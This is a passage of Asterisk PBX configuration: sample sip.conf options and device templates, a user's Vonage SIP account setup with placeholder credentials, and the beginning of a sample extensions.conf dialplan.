; behind a NAT, or for some other reason want Asterisk to
; stay in the audio path, you may want to turn this off.

; This setting also affect direct RTP
; at call setup (a new feature in 1.4 - setting up the
; call directly between the endpoints instead of sending
; a re-INVITE).

;directrtpsetup=yes ; Enable the new experimental direct RTP setup. This sets up
; the call directly with media peer-2-peer without re-invites.
; Will not work for video and cases where the callee sends
; RTP payloads and fmtp headers in the 200 OK that does not match the
; callers INVITE. This will also fail if directmedia is enabled when
; the device is actually behind NAT.

; Additionally this option does not disable all reINVITE operations.
; It only controls Asterisk generating reINVITEs for the specific
; purpose of setting up a direct media path. If a reINVITE is
; needed to switch a media stream to inactive (when placed on
; hold) or to T.38, it will still be done, regardless of this
; setting. Note that direct T.38 is not supported.

;directmedia=nonat ; An additional option is to allow media path redirection
; (reinvite) but only when the peer where the media is being
; sent is known to not be behind a NAT (as the RTP core can
; determine it based on the apparent IP address the media
; arrives from).

;directmedia=update ; Yet a third option... use UPDATE for media path redirection,
; instead of INVITE. This can be combined with 'nonat', as
; 'directmedia=update,nonat'. It implies 'yes'.

;ignoresdpversion=yes ; By default, Asterisk will honor the session version
; number in SDP packets and will only modify the SDP
; session if the version number changes. This option will
; force asterisk to ignore the SDP session version number
; and treat all SDP data as new data. This is required
; for devices that send us non standard SDP packets
; (observed with Microsoft OCS). By default this option is
; off.

;----------------------------------------- REALTIME SUPPORT ------------------------
; For additional information on ARA, the Asterisk Realtime Architecture,
; please read realtime.txt and extconfig.txt in the /doc directory of the
; source code.
;
;rtcachefriends=yes ; Cache realtime friends by adding them to the internal list
; just like friends added from the config file only on a
; as-needed basis? (yes|no)

;rtsavesysname=yes ; Save systemname in realtime database at registration
; Default= no

;rtupdate=yes ; Send registry updates to database using realtime? (yes|no)
; If set to yes, when a SIP UA registers successfully, the ip address,
; the origination port, the registration period, and the username of
; the UA will be set to database via realtime.
; If not present, defaults to 'yes'. Note: realtime peers will
; probably not function across reloads in the way that you expect, if
; you turn this option off.
;rtautoclear=yes ; Auto-Expire friends created on the fly on the same schedule
; as if it had just registered? (yes|no|)
; If set to yes, when the registration expires, the friend will
; vanish from the configuration until requested again. If set
; to an integer, friends expire within this number of seconds
; instead of the registration interval.

;ignoreregexpire=yes ; Enabling this setting has two functions:
;
; For non-realtime peers, when their registration expires, the
; information will _not_ be removed from memory or the Asterisk database
; if you attempt to place a call to the peer, the existing information
; will be used in spite of it having expired
;
; For realtime peers, when the peer is retrieved from realtime storage,
; the registration information will be used regardless of whether
; it has expired or not; if it expires while the realtime peer
; is still in memory (due to caching or other reasons), the
; information will not be removed from realtime storage

;----------------------------------------- SIP DOMAIN SUPPORT ------------------------
; Incoming INVITE and REFER messages can be matched against a list of 'allowed'
; domains, each of which can direct the call to a specific context if desired.
; By default, all domains are accepted and sent to the default context or the
; context associated with the user/peer placing the call.
; REGISTER to non-local domains will be automatically denied if a domain
; list is configured.
;
; Domains can be specified using:
; domain=[,]
; Examples:
; domain=myasterisk.dom
; domain=customer.com,customer-context
;
; In addition, all the 'default' domains associated with a server should be
; added if incoming request filtering is desired.
; autodomain=yes
;
; To disallow requests for domains not serviced by this server:
; allowexternaldomains=no

;domain=mydomain.tld,mydomain-incoming
; Add domain and configure incoming context
; for external calls to this domain
;domain=1.2.3.4 ; Add IP address as local domain
; You can have several "domain" settings
;allowexternaldomains=no ; Disable INVITE and REFER to non-local domains
; Default is yes
;autodomain=yes ; Turn this on to have Asterisk add local host
; name and local IP to domain list.

; fromdomain=mydomain.tld ; When making outbound SIP INVITEs to
; non-peers, use your primary domain "identity"
; for From: headers instead of just your IP
; address. This is to be polite and
; it may be a mandatory requirement for some
; destinations which do not have a prior
; account relationship with your server.

;------------------------------ JITTER BUFFER CONFIGURATION --------------------------
; jbenable = yes ; Enables the use of a jitterbuffer on the receiving side of a
; SIP channel. Defaults to "no". An enabled jitterbuffer will
; be used only if the sending side can create and the receiving
; side can not accept jitter. The SIP channel can accept jitter,
; thus a jitterbuffer on the receive SIP side will be used only
; if it is forced and enabled.

; jbforce = no ; Forces the use of a jitterbuffer on the receive side of a SIP
; channel. Defaults to "no".

; jbmaxsize = 200 ; Max length of the jitterbuffer in milliseconds.

; jbresyncthreshold = 1000 ; Jump in the frame timestamps over which the jitterbuffer is
; resynchronized. Useful to improve the quality of the voice, with
; big jumps in/broken timestamps, usually sent from exotic devices
; and programs. Defaults to 1000.

; jbimpl = fixed ; Jitterbuffer implementation, used on the receiving side of a SIP
; channel. Two implementations are currently available - "fixed"
; (with size always equals to jbmaxsize) and "adaptive" (with
; variable size, actually the new jb of IAX2). Defaults to fixed.

; jbtargetextra = 40 ; This option only affects the jb when 'jbimpl = adaptive' is set.
; The option represents the number of milliseconds by which the new jitter buffer
; will pad its size. the default is 40, so without modification, the new
; jitter buffer will set its size to the jitter value plus 40 milliseconds.
; increasing this value may help if your network normally has low jitter,
; but occasionally has spikes.

; jblog = no ; Enables jitterbuffer frame logging. Defaults to "no".
;-----------------------------------------------------------------------------------

[authentication]
; Global credentials for outbound calls, i.e. when a proxy challenges your
; Asterisk server for authentication. These credentials override
; any credentials in peer/register definition if realm is matched.
;
; This way, Asterisk can authenticate for outbound calls to other
; realms. We match realm on the proxy challenge and pick an set of
; credentials from this list
; Syntax:
; auth = :@
; auth = #@
; Example:
;auth=mark:topsecret@digium.com
;
; You may also add auth= statements to [peer] definitions
; Peer auth= override all other authentication settings if we match on realm

;------------------------------------------------------------------------------
; DEVICE CONFIGURATION
;
; The SIP channel has two types of devices, the friend and the peer.
; * The type=friend is a device type that accepts both incoming and outbound calls,
; where Asterisk match on the From: username on incoming calls.
; (A synonym for friend is "user"). This is a type you use for your local
; SIP phones.
; * The type=peer also handles both incoming and outbound calls. On inbound calls,
; Asterisk only matches on IP/port, not on names. This is mostly used for SIP
; trunks.
;
; For device names, we recommend using only a-z, numerics (0-9) and underscore
;
; For local phones, type=friend works most of the time
;
; If you have one-way audio, you probably have NAT problems.
; If Asterisk is on a public IP, and the phone is inside of a NAT device
; you will need to configure nat option for those phones.
; Also, turn on qualify=yes to keep the nat session open
;
; Configuration options available
; --------------------
; context
; callingpres
; permit
; deny
; secret
; md5secret
; remotesecret
; transport
; dtmfmode
; directmedia
; nat
; callgroup
; pickupgroup
; language
; allow
; disallow
; insecure
; trustrpid
; progressinband
; promiscredir
; useclientcode
; accountcode
; setvar
; callerid
; amaflags
; callcounter
; busylevel
; allowoverlap
; allowsubscribe
; allowtransfer
; ignoresdpversion
; subscribecontext
; template
; videosupport
; maxcallbitrate
; rfc2833compensate
; mailbox
; session-timers
; session-expires
; session-minse
; session-refresher
; t38pt_usertpsource
; regexten
; fromdomain
; fromuser
; host
; port
; qualify
; defaultip
; defaultuser
; rtptimeout
; rtpholdtimeout
; sendrpid
; outboundproxy
; rfc2833compensate
; callbackextension
; registertrying
; timert1
; timerb
; qualifyfreq
; t38pt_usertpsource
; contactpermit ; Limit what a host may register as (a neat trick
; contactdeny ; is to register at the same IP as a SIP provider,
; ; then call oneself, and get redirected to that
; ; same location).

;[sip_proxy]
; For incoming calls only. Example: FWD (Free World Dialup)
; We match on IP address of the proxy for incoming calls
; since we can not match on username (caller id)
;type=peer
;context=from-fwd
;host=fwd.pulver.com

;[sip_proxy-out]
;type=peer ; we only want to call out, not be called
;remotesecret=guessit ; Our password to their service
;defaultuser=yourusername ; Authentication user for outbound proxies
;fromuser=yourusername ; Many SIP providers require this!
;fromdomain=provider.sip.domain
;host=box.provider.com
;transport=udp,tcp ; This sets the default transport type to udp for outgoing, and will
; ; accept both tcp and udp. The default transport type is only used for
; ; outbound messages until a Registration takes place. During the
; ; peer Registration the transport type may change to another supported
; ; type if the peer requests so.

;usereqphone=yes ; This provider requires ";user=phone" on URI
;callcounter=yes ; Enable call counter
;busylevel=2 ; Signal busy at 2 or more calls
;outboundproxy=proxy.provider.domain ; send outbound signaling to this proxy, not directly to the peer
;port=80 ; The port number we want to connect to on the remote side
; Also used as "defaultport" in combination with "defaultip" settings

;--- sample definition for a provider
;[provider1]
;type=peer
;host=sip.provider1.com
;fromuser=4015552299 ; how your provider knows you
;remotesecret=youwillneverguessit ; The password we use to authenticate to them
;secret=gissadetdu ; The password they use to contact us
;callbackextension=123 ; Register with this server and require calls coming back to this extension
;transport=udp,tcp ; This sets the transport type to udp for outgoing, and will
; ; accept both tcp and udp. Default is udp. The first transport
; ; listed will always be used for outgoing connections.

;
; Because you might have a large number of similar sections, it is generally
; convenient to use templates for the common parameters, and add them
; the the various sections. Examples are below, and we can even leave
; the templates uncommented as they will not harm:

[basic-options](!) ; a template
dtmfmode=rfc2833
context=from-office
type=friend

[natted-phone](!,basic-options) ; another template inheriting basic-options
nat=yes
directmedia=no
host=dynamic

[public-phone](!,basic-options) ; another template inheriting basic-options
nat=no
directmedia=yes

[my-codecs](!) ; a template for my preferred codecs
disallow=all
allow=ilbc
allow=g729
allow=gsm
allow=g723
allow=ulaw

[ulaw-phone](!) ; and another one for ulaw-only
disallow=all
allow=ulaw

; and finally instantiate a few phones
;
; [2133](natted-phone,my-codecs)
; secret = peekaboo
; [2134](natted-phone,ulaw-phone)
; secret = not_very_secret
; [2136](public-phone,ulaw-phone)
; secret = not_very_secret_either
; ...
;

; Standard configurations not using templates look like this:
;
;[grandstream1]
;type=friend
;context=from-sip ; Where to start in the dialplan when this phone calls
;callerid=John Doe <1234> ; Full caller ID, to override the phones config
; on incoming calls to Asterisk
;host=192.168.0.23 ; we have a static but private IP address
; No registration allowed
;nat=no ; there is not NAT between phone and Asterisk
;directmedia=yes ; allow RTP voice traffic to bypass Asterisk
;dtmfmode=info ; either RFC2833 or INFO for the BudgeTone
;call-limit=1 ; permit only 1 outgoing call and 1 incoming call at a time
; from the phone to asterisk (deprecated)
; 1 for the explicit peer, 1 for the explicit user,
; remember that a friend equals 1 peer and 1 user in
; memory
; There is no combined call counter for a "friend"
; so there's currently no way in sip.conf to limit
; to one inbound or outbound call per phone. Use
; the group counters in the dial plan for that.
;
;mailbox=1234@default ; mailbox 1234 in voicemail context "default"
;disallow=all ; need to disallow=all before we can use allow=
;allow=ulaw ; Note: In user sections the order of codecs
; listed with allow= does NOT matter!
;allow=alaw
;allow=g723.1 ; Asterisk only supports g723.1 pass-thru!
;allow=g729 ; Pass-thru only unless g729 license obtained
;callingpres=allowed_passed_screen ; Set caller ID presentation
; See README.callingpres for more information

;[xlite1]
; Turn off silence suppression in X-Lite ("Transmit Silence"=YES)!
; Note that Xlite sends NAT keep-alive packets, so qualify=yes is not needed
;type=friend
;regexten=1234 ; When they register, create extension 1234
;callerid="Jane Smith" <5678>
;host=dynamic ; This device needs to register
;nat=yes ; X-Lite is behind a NAT router
;directmedia=no ; Typically set to NO if behind NAT
;disallow=all
;allow=gsm ; GSM consumes far less bandwidth than ulaw
;allow=ulaw
;allow=alaw
;mailbox=1234@default,1233@default ; Subscribe to status of multiple mailboxes
;registertrying=yes ; Send a 100 Trying when the device registers.

;[snom]
;type=friend ; Friends place calls and receive calls
;context=from-sip ; Context for incoming calls from this user
;secret=blah
;subscribecontext=localextensions ; Only allow SUBSCRIBE for local extensions
;language=de ; Use German prompts for this user
;host=dynamic ; This peer register with us
;dtmfmode=inband ; Choices are inband, rfc2833, or info
;defaultip=192.168.0.59 ; IP used until peer registers
;mailbox=1234@context,2345 ; Mailbox(-es) for message waiting indicator
;subscribemwi=yes ; Only send notifications if this phone
; subscribes for mailbox notification
;vmexten=voicemail ; dialplan extension to reach mailbox
; sets the Message-Account in the MWI notify message
; defaults to global vmexten which defaults to "asterisk"
;disallow=all
;allow=ulaw ; dtmfmode=inband only works with ulaw or alaw!

;[polycom]
;type=friend ; Friends place calls and receive calls
;context=from-sip ; Context for incoming calls from this user
;secret=blahpoly
;host=dynamic ; This peer register with us
;dtmfmode=rfc2833 ; Choices are inband, rfc2833, or info
;defaultuser=polly ; Username to use in INVITE until peer registers
;defaultip=192.168.40.123
; Normally you do NOT need to set this parameter
;disallow=all
;allow=ulaw ; dtmfmode=inband only works with ulaw or alaw!
;progressinband=no ; Polycom phones don't work properly with "never"

;[pingtel]
;type=friend
;secret=blah
;host=dynamic
;insecure=port ; Allow matching of peer by IP address without
; matching port number
;insecure=invite ; Do not require authentication of incoming INVITEs
;insecure=port,invite ; (both)
;qualify=1000 ; Consider it down if it's 1 second to reply
; Helps with NAT session
; qualify=yes uses default value
;qualifyfreq=60 ; Qualification: How often to check for the
; host to be up in seconds
; Set to low value if you use low timeout for
; NAT of UDP sessions
;
; Call group and Pickup group should be in the range from 0 to 63
;
;callgroup=1,3-4 ; We are in caller groups 1,3,4
;pickupgroup=1,3-5 ; We can do call pick-p for call group 1,3,4,5
;defaultip=192.168.0.60 ; IP address to use if peer has not registered
;deny=0.0.0.0/0.0.0.0 ; ACL: Control access to this account based on IP address
;permit=192.168.0.60/255.255.255.0
;permit=192.168.0.60/24 ; we can also use CIDR notation for subnet masks

;[cisco1]
;type=friend
;secret=blah
;qualify=200 ; Qualify peer is no more than 200ms away
;nat=yes ; This phone may be natted
; Send SIP and RTP to the IP address that packet is
; received from instead of trusting SIP headers
;host=dynamic ; This device registers with us
;directmedia=no ; Asterisk by default tries to redirect the
; RTP media stream (audio) to go directly from
; the caller to the callee. Some devices do not
; support this (especially if one of them is
; behind a NAT).
;defaultip=192.168.0.4 ; IP address to use until registration
;defaultuser=goran ; Username to use when calling this device before registration
; Normally you do NOT need to set this parameter
;setvar=CUSTID=5678 ; Channel variable to be set for all calls from or to this device
;setvar=ATTENDED_TRANSFER_COMPLETE_SOUND=beep ; This channel variable will
; cause the given audio file to
; be played upon completion of
; an attended transfer.

;[pre14-asterisk]
;type=friend
;secret=digium
;host=dynamic
;rfc2833compensate=yes ; Compensate for pre-1.4 DTMF transmission from another Asterisk machine.
; You must have this turned on or DTMF reception will work improperly.
;t38pt_usertpsource=yes ; Use the source IP address of RTP as the destination IP address for UDPTL packets
; if the nat option is enabled. If a single RTP packet is received Asterisk will know the
; external IP address of the remote device. If port forwarding is done at the client side
; then UDPTL will flow to the remote device.

[general]
srvlookup=yes
disallow=all
allow=ulaw
canreinvite=no

; 12125551234 is your Vonage SoftPhone number.
; zzzzzzzz is your Vonage SoftPhone password.
; The number after the "/" is supposed to be an extension configured
; in the [vonage-exten] context. I have found that Vonage always sends
; the Vonage SoftPhone number regardless of the number specified here,
; so I have specified the Vonage SoftPhone number after the "/" so that
; it is clear what extension will be searched for in [vonage-exten].
register => 12125551234:zzzzzzzz@sphone.vopr.vonage.net:5061/12125551234

[vonage-sip]
type=friend
context=vonage-exten
username=12125551234
host=sphone.vopr.vonage.net
fromuser=12125551234
fromdomain=sphone.vopr.vonage.net
secret=zzzzzzzz
insecure=very

; Local SIP phone
[1011]
type=friend
context=secure
username=1011
secret=xxxxxx
host=dynamic

; Local SIP phone
[1012]
type=friend
context=secure
username=1012
secret=xxxxx
host=dynamic

EXTENSIONS.CONF ------------

; extensions.conf - the Asterisk dial plan
;
; Static extension configuration file, used by
; the pbx_config module. This is where you configure all your
; inbound and outbound calls in Asterisk.
;
; This configuration file is reloaded
; - With the "dialplan reload" command in the CLI
; - With the "reload" command (that reloads everything) in the CLI

;
; The "General" category is for certain variables.
;
[general]
;
; If static is set to no, or omitted, then the pbx_config will rewrite
; this file when extensions are modified. Remember that all comments
; made in the file will be lost when that happens.
;
; XXX Not yet implemented XXX
;
static=yes
;
; if static=yes and writeprotect=no, you can save dialplan by
; CLI command "dialplan save" too
;
writeprotect=no
;
; If autofallthrough is set, then if an extension runs out of
; things to do, it will terminate the call with BUSY, CONGESTION
; or HANGUP depending on Asterisk's best guess. This is the default.
;
; If autofallthrough is not set, then if an extension runs out of
; things to do, Asterisk will wait for a new extension to be dialed
; (this is the original behavior of Asterisk 1.0 and earlier).
;
;autofallthrough=no
;
;
;
; If extenpatternmatchnew is set (true, yes, etc), then a new algorithm that uses
; a Trie to find the best matching pattern is used. In dialplans
; with more than about 20-40 extensions in a single context, this
; new algorithm can provide a noticeable speedup.
; With 50 extensions, the speedup is 1.32x
; with 88 extensions, the speedup is 2.23x
; with 138 extensions, the speedup is 3.44x
; with 238 extensions, the speedup is 5.8x
; with 438 extensions, the speedup is 10.4x
; With 1000 extensions, the speedup is ~25x
; with 10,000 extensions, the speedup is 374x
; Basically, the new algorithm provides a flat response
; time, no matter the number of extensions.
;
; By default, the old pattern matcher is used.
;
; ****This is a new feature! *********************
; The new pattern matcher is for the brave, the bold, and
; the desperate. If you have large dialplans (more than about 50 extensions
; in a context), and/or high call volume, you might consider setting
; this value to "yes" !!
; Please, if you try this out, and are forced to return to the
; old pattern matcher, please report your reasons in a bug report
; on bugs.digium.com. We have made good progress in providing something
; compatible with the old matcher; help us finish the job!
;
; This value can be switched at runtime using the cli command "dialplan set extenpatternmatchnew true"
; or "dialplan set extenpatternmatchnew false", so you can experiment to your hearts content.
;
;extenpatternmatchnew=no
;
; If clearglobalvars is set, global variables will be cleared
; and reparsed on a dialplan reload, or Asterisk reload.
;
; If clearglobalvars is not set, then global variables will persist
; through reloads, and even if deleted from the extensions.conf or
; one of its included files, will remain set to the previous value.
;
; NOTE: A complication sets in, if you put your global variables into
; the AEL file, instead of the extensions.conf file. With clearglobalvars
; set, a "reload" will often leave the globals vars cleared, because it
; is not unusual to have extensions.conf (which will have no globals)
; load after the extensions.ael file (where the global vars are stored).
; So, with "reload" in this particular situation, first the AEL file will
; clear and then set all the global vars, then, later, when the extensions.conf
; file is loaded, the global vars are all cleared, and then not set, because
; they are not stored in the extensions.conf file.
;
clearglobalvars=no
;
; If priorityjumping is set to 'yes', then applications that support
; 'jumping' to a different priority based on the result of their operations
; will do so (this is backwards compatible behavior with pre-1.2 releases
; of Asterisk). Individual applications can also be requested to do this
; by passing a 'j' option in their arguments.
;
;priorityjumping=yes
;
; User context is where entries from users.conf are registered. The
; default value is 'default'
;
;userscontext=default
;
; You can include other config files, use the #include command
; (without the ';'). Note that this is different from the "include" command
; that includes contexts within other contexts. The #include command works
; in all asterisk configuration files.
;#include "filename.conf"
;#include
;#include filename.conf
;
; You can execute a program or script that produces config files, and they
; will be inserted where you insert the #exec command. The #exec command
; works on all asterisk configuration files. However, you will need to
; activate them within asterisk.conf with the "execincludes" option. They
; are otherwise considered a security risk.
;#exec /opt/bin/build-extra-contexts.sh
;#exec /opt/bin/build-extra-contexts.sh --foo="bar"
;#exec
;#exec "/opt/bin/build-extra-contexts.sh --foo=\"bar\""
;

; The "Globals" category contains global variables that can be referenced
; in the dialplan with the GLOBAL dialplan function:
; ${GLOBAL(VARIABLE)}
; ${${GLOBAL(VARIABLE)}} or ${text${GLOBAL(VARIABLE)}} or any hybrid
; Unix/Linux environmental variables can be reached with the ENV dialplan
; function: ${ENV(VARIABLE)}
;
[globals]
CONSOLE=Console/dsp ; Console interface for demo
;CONSOLE=DAHDI/1
;CONSOLE=Phone/phone0
IAXINFO=guest ; IAXtel username/password
;IAXINFO=myuser:mypass
TRUNK=DAHDI/G2 ; Trunk interface
;
; Note the 'G2' in the TRUNK variable above. It specifies which group (defined
; in chan_dahdi.conf) to dial, i.e. group 2, and how to choose a channel to use
; in the specified group. The four possible options are:
;
; g: select the lowest-numbered non-busy DAHDI channel
; (aka. ascending sequential hunt group).
; G: select the highest-numbered non-busy DAHDI channel
; (aka. descending sequential hunt group).
; r: use a round-robin search, starting at the next highest channel than last
; time (aka. ascending rotary hunt group).
; R: use a round-robin search, starting at the next lowest channel than last
; time (aka. descending rotary hunt group).
;
TRUNKMSD=1 ; MSD digits to strip (usually 1 or 0)
;TRUNK=IAX2/user:pass@provider

;FREENUMDOMAIN=mydomain.com ; domain to send on outbound
; freenum calls (uses outbound-freenum
; context)

;
; WARNING WARNING WARNING WARNING
; If you load any other extension configuration engine, such as pbx_ael.so,
; your global variables may be overridden by that file. Please take care to
; use only one location to set global variables, and you will likely save
; yourself a ton of grief.
; WARNING WARNING WARNING WARNING
;
; Any category other than "General" and "Globals" represent
; extension contexts, which are collections of extensions.
;
; Extension names may be numbers, letters, or combinations
; thereof. If an extension name is prefixed by a '_'
; character, it is interpreted as a pattern rather than a
; literal. In patterns, some characters have special meanings:
;
; X - any digit from 0-9
; Z - any digit from 1-9
; N - any digit from 2-9
; [1235-9] - any digit in the brackets (in this example, 1,2,3,5,6,7,8,9)
; . - wildcard, matches anything remaining (e.g. _9011. matches
; anything starting with 9011 excluding 9011 itself)
; ! - wildcard, causes the matching process to complete as soon as
; it can unambiguously determine that no other matches are possible
;
; For example, the extension _NXXXXXX would match normal 7 digit dialings,
; while _1NXXNXXXXXX would represent an area code plus phone number
; preceded by a one.
;
; Each step of an extension is ordered by priority, which must always start
; with 1 to be considered a valid extension. The priority "next" or "n" means
; the previous priority plus one, regardless of whether the previous priority
; was associated with the current extension or not. The priority "same" or "s"
; means the same as the previously specified priority, again regardless of
; whether the previous entry was for the same extension. Priorities may be
; immediately followed by a plus sign and another integer to add that amount
; (most useful with 's' or 'n'). Priorities may then also have an alias, or
; label, in parentheses after their name which can be used in goto situations.
;
; Contexts contain several lines, one for each step of each extension. One may
; include another context in the current one as well, optionally with a date
; and time. Included contexts are included in the order they are listed.
; Switches may also be included within a context. The order of matching within
; a context is always exact extensions, pattern match extensions, includes, and
; switches. Includes are always processed depth-first. So for example, if you
; would like a switch "A" to match before context "B", simply put switch "A" in
; an included context "C", where "C" is included in your original context
; before "B".
;
;[context]
;exten => someexten,{priority|label{+|-}offset}[(alias)],application(arg1,arg2,...)
;
; Timing list for includes is
;
; ,,,[,]
;
; Note that ranges may be specified to wrap around the ends. Also, minutes are
; fine-grained only down to the closest even minute.
;
;include => daytime,9:00-17:00,mon-fri,*,*
;include => weekend,*,sat-sun,*,*
;include => weeknights,17:02-8:58,mon-fri,*,*
;
; ignorepat can be used to instruct drivers to not cancel dialtone upon receipt
; of a particular pattern. The most commonly used example is of course '9'
; like this:
;
;ignorepat => 9
;
; so that dialtone remains even after dialing a 9. Please note that ignorepat
; only works with channels which receive dialtone from the PBX, such as DAHDI,
; Phone, and VPB. Other channels, such as SIP and MGCP, which generate their
; own dialtone and converse with the PBX only after a number is complete, are
; generally unaffected by ignorepat (unless DISA or another method is used to
; generate a dialtone after answering the channel).
;

;
; Sample entries for extensions.conf
;
;
[dundi-e164-canonical]
;include => stdexten
;
; List canonical entries here
;
;exten => 12564286000,1,Gosub(6000,stdexten(IAX2/foo))
;exten => 12564286000,n,Goto(default,s,1) ; exited Voicemail
;exten => _125642860XX,1,Dial(IAX2/otherbox/${EXTEN:7})

[dundi-e164-customers]
;
; If you are an ITSP or Reseller, list your customers here.
;
;exten => _12564286000,1,Dial(SIP/customer1)
;exten => _12564286001,1,Dial(IAX2/customer2)

[dundi-e164-via-pstn]
;
; If you are freely delivering calls to the PSTN, list them here
;
;exten => _1256428XXXX,1,Dial(DAHDI/G2/${EXTEN:7}) ; Expose all of 256-428
;exten => _1256325XXXX,1,Dial(DAHDI/G2/${EXTEN:7}) ; Ditto for 256-325

[dundi-e164-local]
;
; Context to put your dundi IAX2 or SIP user in for
; full access
;
include => dundi-e164-canonical
include => dundi-e164-customers
include => dundi-e164-via-pstn

[dundi-e164-switch]
;
; Just a wrapper for the switch
;
switch => DUNDi/e164

[dundi-e164-lookup]
;
; Locally to lookup, try looking for a local E.164 solution
; then try DUNDi if we don't have one.
;
include => dundi-e164-local
include => dundi-e164-switch
;
; DUNDi can also be implemented as a Macro instead of using
; the Local channel driver.
;
[macro-dundi-e164]
;
; ARG1 is the extension to Dial
;
; Extension "s" is not a wildcard extension that matches "anything".
; In macros, it is the start extension. In most other cases,
; you have to goto "s" to execute that extension.
;
; For wildcard matches, see above - all pattern matches start with
; an underscore.
exten => s,1,Goto(${ARG1},1)
include => dundi-e164-lookup

;
; Here are the entries you need to participate in the IAXTEL
; call routing system. Most IAXTEL numbers begin with 1-700, but
; there are exceptions. For more information, and to sign
; up, please go to www.gnophone.com or www.iaxtel.com
;
[iaxtel700]
exten => _91700XXXXXXX,1,Dial(IAX2/${GLOBAL(IAXINFO)}@iaxtel.com/${EXTEN:1}@iaxtel)

;
; The SWITCH statement permits a server to share the dialplan with
; another server. Use with care: Reciprocal switch statements are not
; allowed (e.g. both A -> B and B -> A), and the switched server needs
; to be on-line or else dialing can be severly delayed.
;
[iaxprovider]
;switch => IAX2/user:[key]@myserver/mycontext

[trunkint]
;
; International long distance through trunk
;
exten => _9011.,1,Macro(dundi-e164,${EXTEN:4})
exten => _9011.,n,Dial(${GLOBAL(TRUNK)}/${FILTER(0-9,${EXTEN:${GLOBAL(TRUNKMSD)}})})

[trunkld]
;
; Long distance context accessed through trunk
;
exten => _91NXXNXXXXXX,1,Macro(dundi-e164,${EXTEN:1})
exten => _91NXXNXXXXXX,n,Dial(${GLOBAL(TRUNK)}/${EXTEN:${GLOBAL(TRUNKMSD)}})

[trunklocal]
;
; Local seven-digit dialing accessed through trunk interface
;
exten => _9NXXXXXX,1,Dial(${GLOBAL(TRUNK)}/${EXTEN:${GLOBAL(TRUNKMSD)}})

[trunktollfree]
;
; Long distance context accessed through trunk interface
;
exten => _91800NXXXXXX,1,Dial(${GLOBAL(TRUNK)}/${EXTEN:${GLOBAL(TRUNKMSD)}})
exten => _91888NXXXXXX,1,Dial(${GLOBAL(TRUNK)}/${EXTEN:${GLOBAL(TRUNKMSD)}})
exten => _91877NXXXXXX,1,Dial(${GLOBAL(TRUNK)}/${EXTEN:${GLOBAL(TRUNKMSD)}})
exten => _91866NXXXXXX,1,Dial(${GLOBAL(TRUNK)}/${EXTEN:${GLOBAL(TRUNKMSD)}})

[international]
;
; Master context for international long distance
;
ignorepat => 9
include => longdistance
include => trunkint

[longdistance]
;
; Master context for long distance
;
ignorepat => 9
include => local
include => trunkld

[local]
;
; Master context for local, toll-free, and iaxtel calls only
;
ignorepat => 9
include => default
include => trunklocal
include => iaxtel700
include => trunktollfree
include => iaxprovider

;Include parkedcalls (or the context you define in features conf)
;to enable call parking.
include => parkedcalls
;
; You can use an alternative switch type as well, to resolve
; extensions that are not known here, for example with remote
; IAX switching you transparently get access to the remote
; Asterisk PBX
;
; switch => IAX2/user:password@bigserver/local
;
; An "lswitch" is like a switch but is literal, in that
; variable substitution is not performed at load time
; but is passed to the switch directly (presumably to
; be substituted in the switch routine itself)
;
; lswitch => Loopback/12${EXTEN}@othercontext
;
; An "eswitch" is like a switch but the evaluation of
; variable substitution is performed at runtime before
; being passed to the switch routine.
;
; eswitch => IAX2/context@${CURSERVER}

; The following two contexts are a template to enable the ability to dial
; ISN numbers. For more information about what an ISN number is, please see
; http://www.freenum.org.
;
; This is the dialing hook. use:
; include => outbound-freenum

[outbound-freenum]
; We'll add more digits as needed. The purpose is to dial things
; like extension numbers at domains (ITAD number) so we're matching
; on lengths of 1 through 6 prior to the separator (the asterisk [*])
;
exten => _X*X!,1,Goto(outbound-freenum2,${EXTEN},1)
exten => _XX*X!,1,Goto(outbound-freenum2,${EXTEN},1)
exten => _XXX*X!,1,Goto(outbound-freenum2,${EXTEN},1)
exten => _XXXX*X!,1,Goto(outbound-freenum2,${EXTEN},1)
exten => _XXXXX*X!,1,Goto(outbound-freenum2,${EXTEN},1)
exten => _XXXXXX*X!,1,Goto(outbound-freenum2,${EXTEN},1)

[outbound-freenum2]
; This is the handler which performs the dialing logic. It is called
; from the [outbound-freenum] context
;
exten => _X!,1,Verbose(2,Performing ISN lookup for ${EXTEN})
same => n,Set(SUFFIX=${CUT(EXTEN,*,2-)}) ; make sure the suffix is all digits as well
same => n,GotoIf($["${FILTER(0-9,${SUFFIX})}" != "${SUFFIX}"]?fn-CONGESTION,1)
; filter out bad characters per the README-SERIOUSLY.best-practices.txt document
same => n,Set(TIMEOUT(absolute)=10800)
same => n,Set(isnresult=${ENUMLOOKUP(${EXTEN},sip,,1,freenum.org)}) ; perform our lookup with freenum.org
same => n,GotoIf($["${isnresult}" != ""]?from)
same => n,Set(DIALSTATUS=CONGESTION)
same => n,Goto(fn-CONGESTION,1)
same => n(from),Set(SIPFROMUSER=${CALLERID(num)})
same => n,GotoIf($["${GLOBAL(FREENUMDOMAIN)}" = ""]?dial) ; check if we set the FREENUMDOMAIN global variable in [global]
same => n,Set(SIPFROMDOMAIN=${GLOBAL(FREENUMDOMAIN)}) ; if we did set it, then we'll use it for our outbound dialing domain
same => n(dial),Dial(SIP/${isnresult},40)
same => n,Goto(fn-${DIALSTATUS},1)

exten => fn-BUSY,1,Busy()

exten => _f[n]-.,1,NoOp(ISN: ${DIALSTATUS})
same => n,Congestion()

[macro-trunkdial]
;
; Standard trunk dial macro (hangs up on a dialstatus that should
; terminate call)
; ${ARG1} - What to dial
;
exten => s,1,Dial(${ARG1})
exten => s,n,Goto(s-${DIALSTATUS},1)
exten => s-NOANSWER,1,Hangup
exten => s-BUSY,1,Hangup
exten => _s-.,1,NoOp

[stdexten]
;
; Standard extension subroutine:
; ${EXTEN} - Extension
; ${ARG1} - Device(s) to ring
; ${ARG2} - Optional context in Voicemail (if empty, then "default")
;
; Note that the current version will drop through to the next priority in the
; case of their pressing '#'. This gives more flexibility in what do to next:
; you can prompt for a new extension, or drop the call, or send them to a
; general delivery mailbox, or...
;
; The use of the LOCAL() function is purely for convenience. Any variable
; initially declared as LOCAL() will disappear when the innermost Gosub context
; in which it was declared returns. Note also that you can declare a LOCAL()
; variable on top of an existing variable, and its value will revert to its
; previous value (before being declared as LOCAL()) upon Return.
;
exten => _X.,50000(stdexten),NoOp(Start stdexten)
exten => _X.,n,Set(LOCAL(ext)=${EXTEN})
exten => _X.,n,Set(LOCAL(dev)=${ARG1})
exten => _X.,n,Set(LOCAL(cntx)=${ARG2})

